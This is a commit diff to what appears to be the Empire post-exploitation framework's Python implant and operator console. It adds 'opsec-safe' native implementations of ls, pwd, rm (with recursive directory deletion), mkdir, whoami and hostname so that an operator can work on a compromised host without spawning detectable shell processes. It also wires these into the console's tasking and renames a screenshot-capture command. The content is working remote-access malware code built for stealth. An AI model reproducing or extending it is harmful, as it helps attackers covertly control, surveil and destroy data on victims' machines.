Added opsec-safe aliases for ls, pwd, rm, mkdir, whoami, getuid. Renamed sc command to osx_screenshot

php_fix
xorrior 2018-03-06 13:10:40 -05:00
parent 00deb6e005
commit aecdec6bd7
2 changed files with 122 additions and 43 deletions

View File

@ -17,6 +17,14 @@ import zipfile
import io
import imp
import marshal
import re
import shutil
import pwd
import socket
import math
import stat
import grp
from stat import S_ISREG, ST_CTIME, ST_MODE
from os.path import expanduser
from StringIO import StringIO
from threading import Thread
@ -258,9 +266,16 @@ def process_packet(packetType, data, resultID):
elif packetType == 40:
# run a command
parts = data.split(" ")
if len(parts) == 1:
data = parts[0]
resultData = str(run_command(data))
#Not sure why the line below is there.....
#e = build_response_packet(40, resultData, resultID)
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
else:
cmd = parts[0]
cmdargs = ' '.join(parts[1:len(parts)])
resultData = str(run_command(cmd, cmdargs=cmdargs))
return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID)
elif packetType == 41:
@ -853,10 +868,91 @@ def data_webserver(data, ip, port, serveCount):
httpServer.server_close()
return
def permissions_to_unix_name(st_mode):
permstr = ''
usertypes = ['USR', 'GRP', 'OTH']
for usertype in usertypes:
perm_types = ['R', 'W', 'X']
for permtype in perm_types:
perm = getattr(stat, 'S_I%s%s' % (permtype, usertype))
if st_mode & perm:
permstr += permtype.lower()
else:
permstr += '-'
return permstr
def directory_listing(path):
# directory listings in python
# https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html
res = ""
for fn in os.listdir(path):
fstat = os.stat(os.path.join(path, fn))
permstr = permissions_to_unix_name(fstat[0])
if os.path.isdir(fn):
permstr = "d{}".format(permstr)
else:
permstr = "-{}".format(permstr)
user = pwd.getpwuid(fstat.st_uid)[0]
group = grp.getgrgid(fstat.st_gid)[0]
# Convert file size to MB, KB or Bytes
if (fstat.st_size > 1024 * 1024):
fsize = math.ceil(fstat.st_size / (1024 * 1024))
unit = "MB"
elif (fstat.st_size > 1024):
fsize = math.ceil(fstat.st_size / 1024)
unit = "KB"
else:
fsize = fstat.st_size
unit = "B"
mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))
res += '{} {} {} {:18s} {:f} {:2s} {:15.15s}\n'.format(permstr,user,group,mtime,fsize,unit,fn)
return res
# additional implementation methods
def run_command(command):
p = subprocess.Popen(command, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
return p.communicate()[0].strip()
def run_command(command, cmdargs=None):
if re.compile("(ls|dir)").match(command):
if cmdargs == None or not os.path.exists(cmdargs):
cmdargs = '.'
return directory_listing(cmdargs)
elif re.compile("pwd").match(command):
return str(os.getcwd())
elif re.compile("rm").match(command):
if cmdargs == None:
return "please provide a file or directory"
if os.path.exists(cmdargs):
if os.path.isfile(cmdargs):
os.remove(cmdargs)
return "done."
elif os.path.isdir(cmdargs):
shutil.rmtree(cmdargs)
return "done."
else:
return "unsupported file type"
else:
return "specified file/directory does not exist"
elif re.compile("mkdir").match(command):
if cmdargs == None:
return "please provide a directory"
os.mkdir(cmdargs)
return "Created directory: {}".format(cmdargs)
elif re.compile("(whoami|getuid)").match(command):
return pwd.getpwuid(os.getuid())[0]
elif re.compile("hostname").match(command):
return str(socket.gethostname())
def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):

View File

@ -2501,6 +2501,9 @@ class PythonAgentMenu(SubMenu):
# listen for messages from this specific agent
dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
# agent commands that have opsec-safe alises in the agent code
self.agentCommands = ['ls', 'rm', 'pwd', 'mkdir', 'whoami', 'getuid', 'hostname']
# display any results from the database that were stored
# while we weren't interacting with the agent
results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
@ -2528,7 +2531,21 @@ class PythonAgentMenu(SubMenu):
def default(self, line):
"Default handler"
print helpers.color("[!] Command not recognized, use 'help' to see available commands")
line = line.strip()
parts = line.split(' ')
if len(parts) > 0:
# check if we got an agent command
if parts[0] in self.agentCommands:
shellcmd = ' '.join(parts)
# task the agent with this shell command
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", shellcmd)
# update the agent log
msg = "Tasked agent to run command " + line
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
else:
print helpers.color("[!] Command not recognized.")
print helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands.")
def do_help(self, *args):
"Displays the help menu or syntax for particular commands."
@ -2875,7 +2892,7 @@ class PythonAgentMenu(SubMenu):
else:
self.mainMenu.modules.search_modules(searchTerm)
def do_sc(self, line):
def do_osx_screenshot(self, line):
"Use the python-mss module to take a screenshot, and save the image to the server. Not opsec safe"
if self.mainMenu.modules.modules['python/collection/osx/native_screenshot']:
@ -2890,24 +2907,6 @@ class PythonAgentMenu(SubMenu):
else:
print helpers.color("[!] python/collection/osx/screenshot module not loaded")
def do_ls_m(self, line):
"List directory contents at the specified path"
#http://stackoverflow.com/questions/17809386/how-to-convert-a-stat-output-to-a-unix-permissions-string
if self.mainMenu.modules.modules['python/management/osx/ls_m']:
module = self.mainMenu.modules.modules['python/management/osx/ls_m']
if line.strip() != '':
module.options['Path']['Value'] = line.strip()
module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
module_menu = ModuleMenu(self.mainMenu, 'python/management/osx/ls_m')
msg = "[*] Tasked agent to list directory contents of: "+str(module.options['Path']['Value'])
print helpers.color(msg,color="green")
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
module_menu.do_execute("")
else:
print helpers.color("[!] python/management/osx/ls_m module not loaded")
def do_cat(self, line):
"View the contents of a file"
@ -2930,22 +2929,6 @@ except Exception as e:
msg = "Tasked agent to cat file %s" % (line)
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_pwd(self, line):
"Print working directory"
command = "cwd = os.getcwd(); print cwd"
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", command)
msg = "Tasked agent to print current working directory"
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_whoami(self, line):
"Print the currently logged in user"
command = "from AppKit import NSUserName; print str(NSUserName())"
self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", command)
msg = "Tasked agent to print currently logged on user"
self.mainMenu.agents.save_agent_log(self.sessionID, msg)
def do_loadpymodule(self, line):
"Import zip file containing a .py module or package with an __init__.py"